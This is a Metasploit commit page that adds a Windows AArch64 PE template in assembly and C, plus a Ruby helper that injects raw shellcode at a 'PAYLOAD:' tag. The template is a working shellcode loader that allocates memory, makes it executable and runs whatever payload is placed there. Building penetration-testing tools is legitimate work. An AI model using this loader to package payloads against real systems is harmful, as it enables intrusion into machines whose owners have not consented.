Skip to content

Commit b4188e7

Browse files
authored
Merge pull request #20357 from xaitax/add-windows-aarch64-winexec-payload
Revive and Finalize windows/aarch64/exec Payload
2 parents 3e5bdda + 8d0aaac commit b4188e7

File tree

7 files changed

+513
-0
lines changed

7 files changed

+513
-0
lines changed
Lines changed: 98 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
;
2+
; A minimal AArch64 PE template for Metasploit shellcode
3+
; Author: Alexander 'xaitax' Hagenah
4+
;
5+
; --- Compilation (Microsoft Visual Studio Build Tools) ---
6+
; 1. Assemble:
7+
; armasm64.exe -o template_aarch64_windows.obj template_aarch64_windows.asm
8+
;
9+
; 2. Link:
10+
; LINK.exe template_aarch64_windows.obj /SUBSYSTEM:WINDOWS /ENTRY:main /NODEFAULTLIB kernel32.lib /OUT:template_aarch64_windows.exe
11+
;
12+
;
13+
; --- Cross Compilation (Microsoft Visual Studio Build Tools) ---
14+
; 1. Locate Cross Compiler Tools and Libraries
15+
; In this case: C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\bin\Hostx64\arm64\
16+
; And: C:\Program Files (x86)\Windows Kits\10\Lib\10.0.26100.0\um\arm64
17+
; 2. Assemble:
18+
; "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\bin\Hostx64\arm64\armasm64.exe" -o template_aarch64_windows.obj template_aarch64_windows.asm
19+
; 3. Link:
20+
; "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\bin\Hostx64\arm64\link.exe" template_aarch64_windows.obj /LIBPATH:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.26100.0\um\arm64" /MACHINE:ARM64 /SUBSYSTEM:WINDOWS /ENTRY:main /NODEFAULTLIB kernel32.lib /OUT:template_aarch64_windows.exe
21+
AREA |.text|, CODE, READONLY
22+
23+
; Import the Win32 functions we need from kernel32.dll
24+
IMPORT VirtualAlloc
25+
IMPORT VirtualProtect
26+
IMPORT ExitProcess
27+
28+
; Define constants for Win32 API calls
29+
SCSIZE EQU 4096
30+
MEM_COMMIT EQU 0x1000
31+
PAGE_READWRITE EQU 0x04
32+
PAGE_EXECUTE EQU 0x10
33+
34+
; Export the entry point of our program
35+
EXPORT main
36+
37+
main
38+
; Allocate space on the stack for the oldProtection variable (DWORD)
39+
sub sp, sp, #16
40+
41+
; --- 1. Allocate executable memory ---
42+
; hfRet = VirtualAlloc(NULL, SCSIZE, MEM_COMMIT, PAGE_READWRITE);
43+
mov x0, #0
44+
mov x1, #SCSIZE
45+
mov x2, #MEM_COMMIT
46+
mov x3, #PAGE_READWRITE
47+
ldr x8, =VirtualAlloc
48+
blr x8
49+
50+
; Check if VirtualAlloc failed. If so, exit.
51+
cbz x0, exit_fail
52+
53+
; Save the pointer to our new executable buffer in a non-volatile register
54+
mov x19, x0
55+
56+
; --- 2. Copy the payload into the new buffer ---
57+
; This is a simple memcpy(dest, src, size)
58+
mov x0, x19 ; x0 = dest = our new buffer
59+
ldr x1, =payload_buffer ; x1 = src = the payload in our .data section
60+
mov x2, #SCSIZE ; x2 = count
61+
copy_loop
62+
ldrb w3, [x1], #1 ; Load byte from src, increment src pointer
63+
strb w3, [x0], #1 ; Store byte to dest, increment dest pointer
64+
subs x2, x2, #1 ; Decrement counter
65+
b.ne copy_loop ; Loop if not zero
66+
67+
; --- 3. Change memory permissions to executable ---
68+
; VirtualProtect(hfRet, SCSIZE, PAGE_EXECUTE, &dwOldProtect);
69+
mov x0, x19 ; x0 = buffer address
70+
mov x1, #SCSIZE ; x1 = size
71+
mov x2, #PAGE_EXECUTE ; x2 = new protection
72+
mov x3, sp ; x3 = pointer to oldProtection on the stack
73+
ldr x8, =VirtualProtect
74+
blr x8
75+
76+
; --- 4. Execute the payload ---
77+
; Jump to the shellcode we just copied and protected.
78+
blr x19
79+
80+
exit_success
81+
; Shellcode returned, or we are done. Exit cleanly.
82+
mov x0, #0 ; Exit code 0
83+
ldr x8, =ExitProcess
84+
blr x8
85+
86+
exit_fail
87+
; Something went wrong. Exit with code 1.
88+
mov x0, #1
89+
ldr x8, =ExitProcess
90+
blr x8
91+
92+
; The data section where the payload will be located.
93+
; The 'PAYLOAD:' tag must be at the very beginning of this buffer.
94+
payload_buffer
95+
DCB "PAYLOAD:"
96+
SPACE SCSIZE - 8 ; Reserve the rest of the 4096 bytes
97+
98+
END
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
// AArch64 PE EXE Template for Metasploit Framework
2+
//
3+
// -----------------------------------------------------------------------------
4+
//
5+
// Compilation Instructions:
6+
//
7+
// Using MSVC on a Windows ARM64 Host:
8+
//
9+
// cl.exe /nologo /O2 /W3 /GS- /D_WIN64 template_aarch64_windows.c /link ^
10+
// /subsystem:windows /machine:arm64 /entry:main ^
11+
// /out:template_aarch64_windows.exe kernel32.lib
12+
//
13+
// -----------------------------------------------------------------------------
14+
15+
#define WIN32_LEAN_AND_MEAN
16+
#include <windows.h>
17+
#undef WIN32_LEAN_AND_MEAN
18+
19+
#define PAYLOAD_MARKER "PAYLOAD:"
20+
#define SCSIZE 8192
21+
22+
char payload[SCSIZE] = PAYLOAD_MARKER;
23+
24+
int main(void)
25+
{
26+
void *exec_mem;
27+
DWORD old_prot;
28+
HANDLE hThread;
29+
30+
// Stage 1: Allocate a block of memory. We request READWRITE permissions
31+
// initially so we can copy our payload into it.
32+
exec_mem = VirtualAlloc(NULL, SCSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
33+
if (exec_mem == NULL)
34+
{
35+
// Fail silently if allocation fails.
36+
return 1;
37+
}
38+
39+
// Stage 2: Copy the payload from our data section into the new memory block.
40+
// A simple loop is used for maximum compiler compatibility and to avoid
41+
// needing extra headers like <string.h> for memcpy.
42+
for (int i = 0; i < SCSIZE; i++)
43+
{
44+
((char *)exec_mem)[i] = payload[i];
45+
}
46+
47+
// Stage 3: Change the memory's protection flags from READWRITE to
48+
// EXECUTE_READ.
49+
if (VirtualProtect(exec_mem, SCSIZE, PAGE_EXECUTE_READ, &old_prot) == FALSE)
50+
{
51+
// Fail silently if we cannot make the memory executable.
52+
return 1;
53+
}
54+
55+
// Stage 4: Execute the shellcode.
56+
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
57+
if (hThread)
58+
{
59+
WaitForSingleObject(hThread, INFINITE);
60+
CloseHandle(hThread);
61+
}
62+
else
63+
{
64+
// As a fallback in case CreateThread fails, call the shellcode directly.
65+
((void (*)())exec_mem)();
66+
}
67+
68+
return 0;
69+
}
6.5 KB
Binary file not shown.

lib/msf/util/exe.rb

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -536,6 +536,27 @@ def self.string_to_pushes(string)
536536
pushes
537537
end
538538

539+
# Converts a raw AArch64 payload into a PE executable.
540+
#
541+
# @param framework [Msf::Framework] The framework instance.
542+
# @param code [String] The raw AArch64 shellcode.
543+
# @param opts [Hash] The options hash.
544+
# @option opts [String] :template The path to a custom PE template.
545+
# @return [String] The generated PE executable as a binary string.
546+
def self.to_winaarch64pe(framework, code, opts = {})
547+
# Use the standard template if not specified by the user.
548+
# This helper finds the full path and stores it in opts[:template].
549+
set_template_default(opts, 'template_aarch64_windows.exe')
550+
551+
# Read the template directly from the path now stored in the options.
552+
pe = File.read(opts[:template], mode: 'rb')
553+
554+
# Find the tag and inject the payload
555+
bo = find_payload_tag(pe, 'Invalid Windows AArch64 template: missing "PAYLOAD:" tag')
556+
pe[bo, code.length] = code.dup
557+
pe
558+
end
559+
539560
# self.exe_sub_method
540561
#
541562
# @param code [String]
@@ -2137,6 +2158,8 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
21372158
to_win32pe(framework, code, exeopts)
21382159
when ARCH_X64
21392160
to_win64pe(framework, code, exeopts)
2161+
when ARCH_AARCH64
2162+
to_winaarch64pe(framework, code, exeopts)
21402163
end
21412164
when 'exe-service'
21422165
case arch

0 commit comments

Comments
 (0)